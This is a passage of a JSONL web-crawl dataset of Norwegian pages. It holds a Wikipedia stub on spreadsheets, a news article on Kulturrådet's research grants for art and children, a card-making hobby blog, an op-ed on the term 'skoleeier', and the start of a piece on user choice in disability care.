skriver. Brudd p\u00e5 reglene kan f\u00f8re til utestengelse.  \n\n**VGs journalister og moderatorer overv\u00e5ker denne debatten kontinuerlig mellom kl. 07 og 24.** Kommentarfeltet er n\u00e5 stengt og \u00e5pner igjen kl. 07.00. Velkommen tilbake da\\!\n\n#### Raser mot forslag om \u00e5 finansiere skattelette med kutt i Obamacare\n", "language": "no", "__index_level_0__": "bb931fff-ba90-4979-aa1e-f421e4c2b4d5"}
{"url": "https://no.wikipedia.org/wiki/Regneark", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:47:58Z", "text": "# Regneark\n\n**Regneark** er programvare som blant annet kan kalkulere data horisontalt og vertikalt fra tabeller. Regneark brukes til bokf\u00f8ring og behandling av innsamlede data, og til \u00e5 presentere det kalkulerte resultatet i ulike typer grafer. De f\u00f8rste kommersielle suksessene med regneark var VisiCalc, som ble s\u00e5 popul\u00e6r at det hadde en vesentlig effekt p\u00e5 salget av mikrodatamaskinen Apple II og Lotus 1-2-3, som gjorde det samme for PC-er i 1983.\n\nModerne regnearkprogrammer inneholder ferdige funksjoner og formler som dekker mye av behovet for de fleste yrkesgrupper.\n\n", "language": "no", "__index_level_0__": "4ad11615-46e6-4a93-b027-d18599ae8a1e"}
{"url": "http://www.periskop.no/1-4-millioner-delt-forskning-pa-kunst-barn-unge2/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:40:11Z", "text": "# **Bare 1 av 4 millioner delt ut til forskning p\u00e5 kunst og barn og unge**\n\n Av 25 s\u00f8kere fikk to prosjekt tildelt midler. Foto: Pexels.\n\n**KATEGORI:** Tverrestetisk.  \n**SJANGER:** Nyheter.   \n**PUBLISERT:** 19.02.2018  \n \n\nKun to av 25 s\u00f8knader fikk forskningspenger av Kulturr\u00e5det. Tre millioner kroner er fortsatt ikke delt ut.\n\nAv:\n\nKristina Ketola Bore\n\nI fjor h\u00f8st utlyste Kulturr\u00e5det fire millioner kroner til en egen forskningssatsning med fokus p\u00e5 barn og unge, kunst og kultur. Det kom 25 s\u00f8knader til utlysningen. Kun to har f\u00e5tt tilslag p\u00e5 tilsammen \u00e9n million kroner, og tre av de fire millionene er alts\u00e5 ikke utdelt.\n\nJorunn Veiteberg som er leder for utvalget, forteller at de fikk f\u00e6rre s\u00f8knader enn de hadde h\u00e5pet p\u00e5.\n\n\u2013 Mange av s\u00f8knadene var ogs\u00e5 tenkt noks\u00e5 likt, med en kunstner, et prosjekt og en teoretiker. Vi hadde h\u00e5pet p\u00e5 litt mer overordna og st\u00f8rre perspektiv enn det som kom inn.\n\nAv de 25 innsendte skissene til prosjekter ble \u00e5tte invitert til annen runde, der de ble bedt om \u00e5 sende inn en mer utfyllende s\u00f8knad. Syv av dem sendte inn, og kun to ble bevilget midler.\n\nVeiteberg understreker at s\u00f8knadene ikke var d\u00e5rlige, men at de representerte en avgrenset forskningsretning.\n\n\u2013 Derfor ga vi til et par av dem for s\u00e5 \u00e5 tenke oss om n\u00e5r det gjelder hva vi skal gj\u00f8r med resten av midlene. Disse to var etter utvalgets mening de mest gjennomarbeidede, og innebar interessant tverrfaglig samarbeide samtidig som de hadde med barn i aktive roller.\n\nEn av tildelingene gikk til Merete Jonvik ved IRIS og billedkunstner Hans Edward Hammonds med prosjektet \u00abSamarbeid mellom sm\u00e5 og store vesen \u2013 deltakarbasert kunstproduksjon med born\u00bb. Den andre tildelingen gikk til Marit Holm Hopperstad ved Dronning Mauds Minne h\u00f8gskole for barnehagel\u00e6rerutdanning med prosjektet \u00abBarn m\u00f8ter kunst\u00bb.\n\n\n\nJorunn Veiteberg sier de hadde h\u00e5pet p\u00e5 et litt mer overordna og st\u00f8rre perspektiv. Foto: Privat.\n\n## **H\u00e5pet p\u00e5 mer problematisering av kategorier**\n\nUtlysningsteksten ba blant annet om prosjekter med en tydelig kunst- og kulturfaglig tiln\u00e6rming og at prosjektene skulle kombinere ulike fagtradisjoner og v\u00e6re formidlingsmessig nyskapende. Fristen var i august. Se hele s\u00f8kerlisten nederst i saken.\n\nVeiteberg sier at de vil vurdere en ny utlysning eller andre m\u00e5ter \u00e5 f\u00e5 fram kunnskapen de er p\u00e5 jakt etter n\u00e5r det nye utvalget m\u00f8tes i mars.  \n\u2013 Vi h\u00e5pet p\u00e5 en st\u00f8rre problematisering av kategoriene barn og unge i v\u00e5r tid, og p\u00e5 et s\u00f8kelys p\u00e5 geografiske forskjeller, sosiale forskjeller og kj\u00f8nnsforskjeller. Ingen av prosjektene hadde det som sitt hovedokus.\n\n***\u2013 Kan det v\u00e6re at utlysningen ikke var tydelig nok?***  \n\u2013 Det kan absolutt v\u00e6re. Det er en av de diskusjonene vi m\u00e5 ta i utvalget og se n\u00e6rmere p\u00e5, svarer utvalgslederen.  \n\u2013 Det vanskelige med \u00e5 lage utlysningen er at vi ikke skal konkludere det vi vil vite, men \u00e5pne for \u00e5 l\u00e6re det vi ikke vet, sier Veiteberg.\n\n## **\u2013 Ikke forpliktet til \u00e5 dele ut alt**\n\nUtlysningsteksten ba blant annet om prosjekter med en tydelig kunst- og kulturfaglig tiln\u00e6rming og at prosjektene skulle kombinere ulike fagtradisjoner og v\u00e6re formidlingsmessig nyskapende. Fristen var i august. Se hele s\u00f8kerlisten nederst i saken.\n\nOlav Hamran er seksjonsleder ved Kulturr\u00e5dets seksjon for forskning og utvikling. Han peker p\u00e5 at man ikke var forpliktet til \u00e5 dele ut pengene.\n\n***\u2013 Men er det ikke rart at av 25 forslag til forskningsprosjekter s\u00e5 finner Kulturr\u00e5det ikke gode nok prosjekter til \u00e5 fylle en utlysning p\u00e5 fire millioner?***\n\n\u2013 I f\u00f8rste runde var det ikke 25 forskningsprosjekter, men 25 ideer eller skisser som kunne bli forskningsprosjekter. I andre runde var det syv utarbeidede s\u00f8knader til forskningsprosjekter. Da gjorde utvalget den vurderingen at det ved denne anledningen \u00f8nsket \u00e5 tildele midler til to.\n\nVanligvis er det Kulturr\u00e5det som avgj\u00f8r hvem som f\u00e5r tilslag, etter en innstilling fra utvalget. I dette tilfellet har imidlertid r\u00e5det gitt utvalget selv ansvaret for \u00e5 tildele midler.\n\nHva som skjer med resten av pengene skal avgj\u00f8res av utvalget i et m\u00f8te i mars, forteller han.\n\n\n\nOlav Hamran i Kulturr\u00e5det. Foto: H\u00e5kon Bergseth.\n\n\n\nSt\u00e5le Stenslie i Kulturtanken, mener vi trenger en nasjonal debatt om hva forskning p\u00e5 barn og unge omfatter. Foto: Lars Opstad.\n\n## **Mener feltet m\u00e5 samle seg**\n\nSt\u00e5le Stenslie er avdelingsdirekt\u00f8r for forskning og utvikling hos Kulturtanken. Han skulle gjerne sett at flere prosjekter fikk penger.\n\n\u2013 Vi hadde h\u00e5pet p\u00e5 tilslag p\u00e5 25 prosjekter. I dette feltet har vi\u00a0for lite kunnskap og for spredt\u00a0forskning, sier Stenslie. \u2013 Jeg antar at Kulturr\u00e5det har f\u00e5tt for ulike forslag i forhold til deres utlysningstekst. Men det er positivt med 25 s\u00f8kere, det viser stor interesse.\n\nHan tror grunnen til at s\u00e5 f\u00e5 har f\u00e5tt penger er at det ikke finnes en felles forst\u00e5else om hva slik forskning g\u00e5r ut p\u00e5.\n\n\u2013 Det kan peke p\u00e5 at feltet er s\u00e5 spredt at vi ikke har samme forst\u00e5else om hva forskning for barn og unge inneb\u00e6rer, sier han.\n\nHan mener vi trenger en nasjonal debatt om hva forskning p\u00e5 kunst og kultur til barn og unge omfatter, og etterlyser en samkj\u00f8ring p\u00e5 nasjonalt niv\u00e5.\n\n\u2013 F\u00e5 tildelinger peker p\u00e5 et behov for \u00e5 samle seg. Man har ikke et samlet milj\u00f8 som fokuserer p\u00e5 de feltene som Kulturr\u00e5det \u00f8nsker seg. Man drar i for mange retninger, sier han.\n\n\u2013 Vi m\u00e5 tenke som nasjon. Hva er kunst og kultur p\u00e5 et nasjonalt niv\u00e5?\n\n## **Ikke bare kunstnerisk forskning**\n\nHamran er b\u00e5de enig og uenig i Stenslies analyse.\n\n\u2013 Hvis man tenker kunnskapspolitisk, er det \u00f8nskelig at det finnes en bredde i forskningen p\u00e5 dette omr\u00e5det. Det ville ikke v\u00e6re \u00f8nskelig dersom det var ett, homogent, nasjonalt felt, sier han.\n\n***\u2013 De to prosjektene som har f\u00e5tt penger er begge deltagerbaserte, med en sterk kunstnerisk profil. Er det egentlig kunstnerisk forskning dere var ute etter her? Kan det v\u00e6re at s\u00f8kerne ikke har plukket opp p\u00e5 det?***\n\n\u2013 Det er redegjort i programnotatet hva slags forskning man var ute etter. Notatet \u00e5pnet for s\u00f8knader innenfor kunstnerisk utviklingsarbeid. Men det er ikke mitt inntrykk at det var mangel p\u00e5 slike s\u00f8knader som gjorde at utvalget i denne runden valgte ikke \u00e5 tildele alle midlene, sier han.\n\n\u00a0\n**S\u00f8kerlisten** \n\n**Utpr\u00f8vning av videoleksjoner i tangent- og gitaroppl\u00e6ringen ved Kulturskolen i Trondheim**  \nKulturskolen i Trondheim v/ Elin Hennie Noem.  \nSamarbeidspartnere: Program for l\u00e6rerutdanning,. Institutt for musikk,. Institutt for musikkteknologi, NTNU.\n\n**KUBANG**  \nMarit Ulvund \u2013 Seanse \u2013 senter for kunstproduksjon/H\u00f8gskulen i Volda.  \nSamarbeidspartnere: Cecilie Haagensen, NTNU.  \nDeltagelse fra kunstnere, skoler, l\u00e6rere.\n\n**A Creative Body in a Creative Room**  \nJane Isobel Ogley Holmberg.  \nSamarbeidspartnere: Nord University Levanger, NTNU, Minmemoria App.  \nKunstnere, lokale myndigheter, kulturskoler, lokale seniorgrupper.\n\n**Urbane kunsthandlinger \u2013 en metodeutviklende studie om hvordan barns deltakelse kan finne sted**  \nH\u00f8gskulen p\u00e5 Vestlandet.  \nProsjektleder: Professor Elin Eriksen \u00d8degaard.  \nSamarbeidspartner: Andr\u00e9 Steenbuch Marandon, leder ART-FORM.\n\n**Samarbeid mellom sm\u00e5 og store vesen \u2013 deltakarbasert kunstproduksjon med born**  \nMerete Jonvik og Hans Edvard Hammonds, og ei gruppe born i alderen mellom 8-12 \u00e5r.\n\n**KROM**  \nRom for Dans/H\u00f8yskolen for dansekunst ved Caroline Wahlstr\u00f6m Nesse og Camilla Myhre.  \nSamarbeidspartnere: CASE H\u00f8gskulen p\u00e5 Vestlandet, \u00d8stfold kulturutvikling/DKS \u00d8stfold. Medskapende ut\u00f8vere, filmdokumentarist, produsent, prosjektkoordinator ved Rom for Dans.\n\n**Kunnskapsutvikling gjennom skapende arbeid og kunst**  \nHanne Haukom., Seljeveien 8b. 3151 Tolvsr\u00f8d  \nSamarbeidspartnere: H\u00f8gskolen i S\u00f8r\u00f8st-Norge, H\u00f8gskolen i Oslo og Akershus, Norske kunsth\u00e5ndverkere.\n\n**KUNNSKAPSKOLLAGER**  \nKirstine Riis, H\u00f8gskolen i S\u00f8r\u00f8st-Norge (HSN).  \nSamarbeidspartnere: Telemarksgalleriet, forskergruppen EMAL (Embodied making and learning), kunstnere, l\u00e6rere.\n\n**\u00abKunsten \u00e5 sj\u00e5 noko som noko\u00bb**  \nBettina Hvidevold Hystad, H\u00f8gskulen p\u00e5 Vestlandet (HVL).  \nEit samarbeidsprosjekt mellom kunst- og musikkduoen Lerin/Hystad, h\u00f8gskulelektor Charlotte Tvedte (HVL), f\u00f8rsteamanuensis Kari Holdhus (HVL) og CASE-senteret ved HVL.\n\n**Kvalitetstid**  \nMunchmuseet, leder for forskergruppe Gerd-Elise M\u00f8rland.  \nSamarbeidspartnere: Charlotte Blanche Myrvold, (KhiO og HiOA) prosjektleder, Lisa Nagel, Norsk Barnebokinstitutt, kunstnere.\n\n**Paternalisme, myndiggj\u00f8ring og deltakerstyring. Barns medskaping og kuratering i lys av norsk kulturpolitikk.**  \nTelemarksforsking ved M. T. Heian, \u00c5. D. Haugsevje og H. Stavrum i samarbeid med A. Kvalbein, Universitetet i Oslo.\n\n**\u00abTro ikke at jeg kommer fra sm\u00e5 forhold\\!\u00bb \u2013 en kultursosiologisk studie av minnesteders betydning i formidling av Hans B\u00f8rlis forfatterskap til barn og unge**  \nAnno museum Kongsvingerregionen v. seksjonsleder/konservator NMF Ingun Aasteb\u00f8l.  \nSamarbeidspartnere: H\u00f8gskolen i Innlandet, Eidskog kommune, Hans B\u00f8rli-selskapet.\n\n**Marcus, Mozart, Mehren og Martinus.**  \nForholdet mellom kulturpolitikk for og kulturbruk blant barn og unge  \nTelemarksforsking v/Ole Marius Hylland og B\u00e5rd Kleppe.\n\n**Vitenskap, identitet og tilh\u00f8righet \u2013 medvirkende formidling**  \nNorsk Teknisk Museum v/Torhild Sk\u00e5tun.  \nSamarbeidspartnere: H\u00f8yskolen i Oslo og Akershus.\n\n**Profilbilder og transparens**  \nRagnhild Furulund. Adjunkt med tilleggsutdannelse, l\u00e6rer ved Mysen videreg\u00e5ende skole. Masterstudent, H\u00f8gskolen i S\u00f8r\u00f8st Norge.\n\n**Fengslende kunstopplevelser?**  \n\u2013 unders\u00f8kelser av barn og unges deltakelse i og erfaring med kunst og  \nkulturprosjekter i spennet mellom styring og frihet.  \nLisbet Skregelid, Universitetet i Agder. Forskningsgruppen Kunst og barn & unge ved Universitetet i Agder og flere samarbeidspartnere.\n\n**Instrumentaloppl\u00e6ring integrert i skolehverdagen.**  \n\u2013 Skisse for forskningsprosjekt (PHD avhandling) innen kulturskoleutvikling  \nMali Hauen, Kulturskolerektor Kulturtjenesten, Tynset kommune. S\u00f8ker til doktorgradsstipendiat ved NTNU.\n\n**SPILL LEVENDE\\! Barn og unges skapende virksomhet i teater.**  \nTor-Helge Allern, Fakultet for l\u00e6rerutdanning, H\u00f8gskolen i Bergen/H\u00f8gskulen p\u00e5 Vestlandet (HVL)  \nAnne Meek, Universitetet Nord/HVL.  \nSamarbeidspartnere: Vestlandske Teatersenter, Kultur- og teaterverkstedet Fyret, forskere ved HVL.\n\n**UNGDOM SOM PUBLIKUM**  \n\u2013 en unders\u00f8kelse av Scenekunstens muligheter i m\u00f8te med unge mennesker.  \nHilde Brinchmann, Tigerstadsteatret.  \nSamarbeidspartnere: Norby Produksjoner, ROBUST, Redd Barna, Oslo Nye Teater, Vobling AS.\n\n**Se meg, v\u00e6r meg, skap meg: Unge som medprodusenter av fotokunst, virtuell virkelighet og etnografisk kunnskap**  \nIngrid M. Tolstad, Arbeidsforskningsinstituttet, H\u00f8gskolen i Oslo og Akershus.  \nAina Landsverk Hagen, Arbeidsforskningsinstituttet, H\u00f8gskolen i Oslo og Akershus.  \nKaroline Hjorth, kunstfotograf og skribent/forfatter.  \nAmy Shimson-Santo, kunstner, pedagog, forsker og skriben, programdirekt\u00f8r for Arts Management ved Drucker School of Management, Claremont Graduate University i Los Angeles, USA.\n\n**Et spill om pugg: Skolen som kunstarena**  \nForeningen SceSam v/ Lisa Nagel, Norsk Barnebokinstitutt og UiO.  \nSamarbeidspartnere: Faglig r\u00e5d (med Kai Johnsen KhiO, Venke Sortland danser og koreograf), forskningsgruppe (kunstnere, forskere, l\u00e6rere, elever).\n\n**Sm\u00e5 folk i folkemuseene**  \nSigurd Solhaug Nielsen | PhD stipendiat ved Institutt for geografi, Norges teknisk-naturvitenskapelige universitet (NTNU).  \nSamarbeidspartnere: Anno museum, Uppsala Universitet.  \nProsjektet vil inng\u00e5 som et delprosjekt i \u00abSm\u00e5 museer i Norden\u00bb, som ledes av professor i museologi ved Ume\u00e5 universitet, Kerstin Smeds.\n\n**Barnehagebarns kunstm\u00f8ter i kunstinstitusjoner**  \nMarit Holm Hopperstad, Dronning Mauds Minne h\u00f8gskole for barnehagel\u00e6rerutdanning (DMMH).  \nSamarbeidspartnere: Prosjektgruppe ved DMMH, Nordenfjeldske Kunstindustrimuseum, Rockheim, Cirka Teater, Trondheim kommune.\n\n**Mobile musikkulturer \u2013 barn og unges musikkopplevelser med smarttelefon**  \nAnja Nylund Hagen.\n\n**Prosjektskisse \u00abJeg bare elsker kunst\u00bb**  \nGosen Skole.  \nAktuelle samarbeidspartnere: Torunn Paulsen Dagsland, Universitetet i Stavanger.\n\n\u00a0\n**Kvalifisert til andre runde**\n\nMerete Jonvik, IRIS og Hans Edvard Hammonds\n\nTelemarksforsking v/Ole Marius Hylland og B\u00e5rd Kleppe\n\nLisbet Skregelid, Universitetet i Agder\n\nAnne Meek, H\u00f8gskolen i Bergen/Nord Universitet, Tor-Helge Allern, Fakultet for l\u00e6rerutdanning, H\u00f8gskolen i Bergen/H\u00f8gskulen p\u00e5 Vestlandet (HVL)\n\nIngrid M. Tolstad, Arbeidsforskningsinstituttet, H\u00f8gskolen i Oslo og Akershus. Aina Landsverk Hagen, Arbeidsforskningsinstituttet, H\u00f8gskolen i Oslo og Akershus.  \nKaroline Hjorth, kunstfotograf og skribent/forfatter. Rachel Joy Harkness, Phd sosialantropologi, underviser ved Edinburgh College of Art. Amy Shimson-Santo, kunstner, pedagog, forsker og skribent, programdirekt\u00f8r for Arts Management ved Drucker School of Management, Claremont Graduate University i Los Angeles, USA. Sigurd Solhaug Nielsen, PhD stipendiat ved Institutt for geografi, Norges teknisk-naturvitenskapelige universitet (NTNU).\n\nMarit Holm Hopperstad, Dronning Mauds Minne h\u00f8gskole for barnehagel\u00e6rerutdanning (DMMH).\n\n\n\nKristina Ketola Bore (f. 1986) har en master i designkritikk fra London College of Communication. Foruten \u00e5 v\u00e6re en av grunnleggerne av The Ventriloquist Summerschool arbeider hun som frilansskribent, kurator og gjestel\u00e6rer p\u00e5 blant annet Kunsth\u00f8gskolen i Oslo og Estonian Academy of Arts. Kristina er fagredakt\u00f8r i Periskop.\n\n", "language": "no", "__index_level_0__": "6bfc9e37-61ae-4a77-bc29-9669d5854b76"}
{"url": "http://sissel-sisla.blogspot.com/2012/02/konfirmasjonskort-til-jente.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:13:26Z", "text": " \n\n## s\u00f8ndag 5. februar 2012\n\n### Konfirmasjonskort til jente.\n\nHeisann.\n\nN\u00e5 har jeg v\u00e6rt en tur p\u00e5 hobbyrommet og lagd ett konfirmasjonskort. Her har jeg brukt rosa bazill, m\u00f8nsterark fra My Minds Eye. Sigistempel fra KennyK og tekststempel fra papirdesign.blogspot.com . Metallpynt fra korthobby.no . Blomster fra Kort og Godt, bling fra Memories. Garn ukjent, fargelagt med Touch og s\u00e5 har jeg hatt glitterlim p\u00e5 beltet.\n\n#### 6 kommentarer:\n\n\n\n\n\nSissel sa...\n\nKjempesprekt kort\\! Du lager s\u00e5 mye fint\\!\\! Den barnevogna var utrolig forseggjort og lekker\\!  \nKlem\n\n 5. februar 2012 kl. 18:33    \n\n\n\n\n\nAnne sa...\n\nS\u00e5 t\u00f8ft\\! Flott fargelagt og stilig med glitter :-)  \n  \nHa en fin uke\\!  \n  \nKlem :-)\n\n 5. februar 2012 kl. 18:35    \n\n\n\n\n\nAudhild sa...\n\nKjempelekkert kort, s\u00e5 stilig med rosa og turkis. Likte blingen....hehe, sl\u00e5r aldri feil:-) Jepp, gler meg til treff jeg ogs\u00e5:-)\n\n 5. februar 2012 kl. 20:55    \n\n\n\n\n\nLinda W sa...\n\nHi Sissel. Such a nice card for confirmation. I like Kenny K, I've used them for 2 boys (Saucy one\\!). Take care, Linda\n\n 5. februar 2012 kl. 21:18    \n\n\n\n\n\nAnita sa...\n\ns\u00e5 mye fint du lager ogs\u00e5 da... :) alltid g\u00f8y \u00e5 titte p\u00e5 hva andre lager og kreerer... :) skal bli g\u00f8y \u00e5 titte innom hos deg med jevne mellomrom... :) hilsen Anita\n\n 5. februar 2012 kl. 21:22    \n\n\n\n\n\nellen.fossli sa...\nHIHI.... det var ett kjempe kult kort :)\n\n 11. februar 2012 kl. 12:00    \n\n## Om meg\n\n\n\n  - sisla  \n    Hei alle der som er inne p\u00e5 bloggen min og tar en titt. Jeg er en voksen \"jente\", gift og har 4 barn og 7 barnebarn. Jeg har en kjempekoselig hobby som er scrapping av kort. Tilbringer mye tid p\u00e5 hobbyrommet mitt, der kan jeg slippe fantasien l\u00f8s i blant.\n\n", "language": "no", "__index_level_0__": "31f07754-46d7-44a3-97cb-8cd95728c214"}
{"url": "https://kommunal-rapport.no/meninger/kronikk/2018/02/kjaere-skoleeier-hvem-du-enn-er", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:25:03Z", "text": "Illustrasjon: Sven Tveit\n\nKronikk. Betegnelsen \u00abskoleeier\u00bb kom inn i oppl\u00e6ringslova i 2006 blant annet for \u00e5 tydeliggj\u00f8re fylkeskommunene og kommunenes ansvar for kompetanseutvikling i skolen. Var det et godt grep?\n\n5.3 2018 08:37\n\n#### Thomas Dahl\n\nprofessor ved Institutt for l\u00e6rerutdanning ved NTNU\n\nDersom ansvar tydeliggj\u00f8res ett sted, kan det f\u00f8re til ansvars-fraskrivelse et annet sted.\n\nHvem er det som f\u00f8ler seg adressert som skoleeier? Hvem er skoleeier?\n\nSom oppdragsforsker i SINTEF har jeg ledet flere evalueringer av tiltak i norsk skole. Det har ofte v\u00e6rt \u00f8nskelig fra oppdragsgiver at vi i evalueringen fikk data fra skoleeier. Vi har da indirekte forst\u00e5tt, siden det aldri har v\u00e6rt sagt eksplisitt, at oppdragsgiver ville ha data fra det som tidligere ble omtalt som kommuner og fylkeskommuner.\n\nN\u00e5r vi s\u00e5 har sendt sp\u00f8rreunders\u00f8kelser til \u00abskoleeier\u00bb, har det imidlertid ikke alltid v\u00e6rt klart for \u00abskoleeier\u00bb hvem som skulle svare p\u00e5 sp\u00f8rreunders\u00f8kelsen. Vi har f\u00e5tt svar fra alt fra skolesjefer og oppl\u00e6ringsdirekt\u00f8rer til r\u00e5dmenn.\n\nAlle disse har tydeligvis oppfattet seg som skoleeier, men ingen av dem er det. De er i h\u00f8yden representanter for skoleeier. Hvem er da skoleeier?\n\nG\u00e5r vi 20 \u00e5r tilbake i tid, var skoleeier et s\u00e5 \u00e5 si ukjent begrep. Hadde vi fors\u00f8kt oss p\u00e5 en sp\u00f8rreunders\u00f8kelse til skoleeier da, hadde vi neppe f\u00e5tt noe svar i det hele tatt.\n\nSkoleeierbegrepet er kom inn i norsk skole p\u00e5 2000-tallet, og det ble f\u00f8rst nedfelt i lovverket med revisjonen i 2006 av oppl\u00e6ringslova etter Kunnskapsl\u00f8ftet. \u00abSkoleeier\u00bb erstattet da den mer omfattende betegnelsen \u00abkommune/fylkeskommunen og skoleeigaren for privat skole\u00bb i loven.\n\nEr det slik at endringen viser at tenkning om eierskap fra privat sektor fikk gjennomslag i offentlig sektor?\n\nDet er skrevet nok avhandlinger om hvordan New Public Management har gjennomsyret offentlig sektor til \u00e5 kunne si at svaret p\u00e5 sp\u00f8rsm\u00e5let er ja. Samtidig er dette en litt for enkel forklaringsmodell. Det var ikke n\u00f8dvendigvis slik at med begrepet skoleeier ville departementet og etter hvert Stortinget p\u00e5tvinge skolen styringsmodeller fra det private.\n\nBegrepet ble forankret med revisjonen av oppl\u00e6ringslova, men det var varslet lenge f\u00f8r. Det er konsekvent brukt i S\u00f8gnen-utvalgets utredninger, som la grunnlaget for Kunnskapsl\u00f8ftet. I NOU 2002:10 brukes det 118 ganger og 111 ganger i NOU 2003:16.\n\nBruken er omfattende, men det redegj\u00f8res ikke for betegnelsen, og den defineres heller ikke. \u00abSkoleeier\u00bb sniker seg inn som et betegnelse som synes \u00e5 v\u00e6re velegnet \u00e5 bruke for \u00e5 kunne snakke om norsk skole.\n\nI \u00a7 18\u20138 i loven av 2006 opptr\u00e5dte betegnelsen for f\u00f8rste gang i lovverket. Overskriften til paragrafen var \u00abKompetanseutvikling\u00bb. Loven tydeliggjorde at \u00abskoleeigaren\u00bb hadde et \u00abansvar for \u00e5 ha riktig og n\u00f8dvendig kompetanse i verksemda\u00bb.\n\nVidere var det et krav til \u00abskoleeigaren\u00bb om \u00e5 \u00abha eit system som gir undervisningspersonale, skoleleiarar og personale med s\u00e6roppg\u00e5ver i skoleverket h\u00f8ve til n\u00f8dvendig kompetanseutvikling, med sikte p\u00e5 \u00e5 fornye og utvide den faglege og pedagogiske kunnskapen\u00bb.\n\nDepartementet og Stortinget brukte betegnelsen \u00abskoleeier\u00bb for \u00e5 tydeliggj\u00f8re det ansvaret kommuner og fylkeskommuner har for b\u00e5de \u00e5 sikre og \u00e5 utvikle kompetansen i skolen. I innstillinga til Odelstinget (Innst. O. nr. 105, 2004-05) framgikk det at var et m\u00e5l \u00e5 \u00abpresisere skoleeiers ansvar for kompetanseutvikling\u00bb. Fra S\u00f8gnen-utvalgets utredninger til lovformuleringen l\u00e5 det mer eller mindre implisitt at med begrepet \u00abeierskap\u00bb kunne man tydeliggj\u00f8re et ansvar. Det l\u00e5 ogs\u00e5 mer eller mindre implisitt at dette ansvaret ikke hadde v\u00e6rt ivaretatt godt nok. N\u00e5 m\u00e5tte \u00abskoleeier\u00bb ta ansvar\\!\n\nN\u00e5 er det imidlertid slik at dersom ansvar tydeliggj\u00f8res ett sted, kan det f\u00f8re til ansvarsfraskrivelse et annet sted. Det kan ogs\u00e5 gj\u00f8re noe med hvordan man tenker utvikling, og hvordan man involverer de som ikke defineres som eiere.\n\nI det private virksomheter er eierskap (\u00abshareholders\u00bb) problematisert. Bedriften har ikke bare et ansvar overfor eiere, men ogs\u00e5 et samfunnsmessig ansvar. Like viktig som eiere vil bedriftens interessenter (\u00abstakeholders\u00bb) kunne v\u00e6re.\n\nEierskapstenkning blir for snevert i en global og demokratisk verden hvor det er mer overordnete m\u00e5l som m\u00e5 ivaretas. Skolen skal ogs\u00e5 kunne m\u00f8te slike overordnete m\u00e5l.\n\nSkolen har en politisk vedtatt form\u00e5lsparagraf, og den spiller en rolle i lokalsamfunnet. Skolen skal ikke bare forholde seg til \u00abeier\u00bb, men til skolens interessenter. Eierskapsbegrepet blir i denne sammenheng snevert og b\u00e6rer preg av en gammel bedriftstenkning. Det er ikke engang kommunestyret eller fylkesting som er den egentlige eier, men vi \u2013 du og jeg \u2013 og alle som har demokratiske rettigheter i landet.\n\nDen offentlige skolen \u00abeies\u00bb av samfunnet, til og med private har det offentlige et eierskap til, siden det i hovedsak er det offentlige som finansierer privat skoledrift.\n\nI Meld. St. 21 (2016\u201317) har departementet signalisert et behov for \u00aben gjennomgang av dagens regelverk og beskrivelse av roller og ansvar\u00bb, for \u00ab\u00e5 sikre handlingsrom for det lokale arbeidet med kvalitetsutvikling\u00bb (s. 39).\n\nFor denne gjennomgangen kan det v\u00e6re lurt \u00e5 stille sp\u00f8rsm\u00e5l som: Er det bare r\u00e5dmann eller de demokratisk valgte organer som har ansvar for kvalitet og kvalitetsutvikling? Hva med l\u00e6rerne og andre profesjoner i skolen? Hva med hjemmet? Hva med n\u00e6ringslivet?\n\nJeg tror allerede f\u00f8r denne gjennomgangen kan man si: Det p\u00e5 tide \u00e5 si farvel til \u00abskoleeier\u00bb.\n\n## Delta i debatten\n\nVi overv\u00e5ker denne debatten kontinuerlig mellom kl. 07 og 24. Kommentarfeltet er n\u00e5 stengt og \u00e5pner igjen kl. 07.00. Velkommen tilbake da\\!\n\n", "language": "no", "__index_level_0__": "9066e2bc-9c5e-4e7f-90c4-13e7c0ff8015"}
{"url": "http://www.ivarjohansen.no/temaer/funksjonshemmede/6063-multifunksjonshemmede-arne-skal-ikke-lenger-dyttes-ut-pa-anbudstorget.html?tmpl=component&print=1&layout=default", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:26:59Z", "text": "# Funksjonshemmede\n\n## Multifunksjonshemmede Arne skal ikke lenger dyttes ut p\u00e5 anbudstorget\n\n    Publisert mandag 19. juni 2017 05:37\n\n\n\nStraks over sommeren skjer det: Vi flytter makt fra forvaltningen til den hjelpetrengende selv, og skal ikke lenger se anbudsutsettelser som dette:\n\n\"Bydel NN \u00f8nsker \u00e5 prekvalifisere leverand\u00f8rer som kan levere et bo- og omsorgstilbud med held\u00f8gns bemanning. Brukeren er en ung mann p\u00e5 19 \u00e5r, med diagnosene autisme, epilepsi og psykisk utviklingshemming. Han har behov for hjelp til de fleste dagligdagse oppgaver. Han har utfordrende atferd, men det er til n\u00e5 ikke blitt vurdert behov for vedtak etter Kapittel 4A i sosialtjenesteloven. Han har hyppige epilepsianfall, slik at han vil ha behov for personale med god kompetanse p\u00e5 h\u00e5ndtering av det. Han er en blid, ung mann.\u00bb\n\nDet er eksempler som dette som har gjort at et enstemmig bystyre, p\u00e5 mitt initiativ, har vedtatt at det skal innf\u00f8res brukervalg p\u00e5 dagsenter-, bo- og omsorgstilbud for utviklingshemmede og andre hjelpetrengende som etter vedtak skal ha dette tilbudet. Ting tar tid, altfor lang tid, \u00e5 gjennomf\u00f8re, men straks over sommeren er dette operativt.\n\nFor denne gruppen erstattes n\u00e5 anbud og marked med brukermedvirkning og brukervalg. Vi gir innbyggerne st\u00f8rre innflytelse p\u00e5 sine egne liv og i utforming av tjenestene. Forlater kundetenkningen og en forvaltning som i altfor stor grad har en vi-vet-best-hva-du-trenger-holdning, til i st\u00f8rre grad \u00e5 la den hjelpetrengende selv bestemme. Det finnes knapt noen som har bedre kunnskap hva en 19-\u00e5rig multifunksjonshemmet mann trenger enn han selv og hans p\u00e5r\u00f8rende. Derfor \u00f8nsker vi \u00e5 flytte 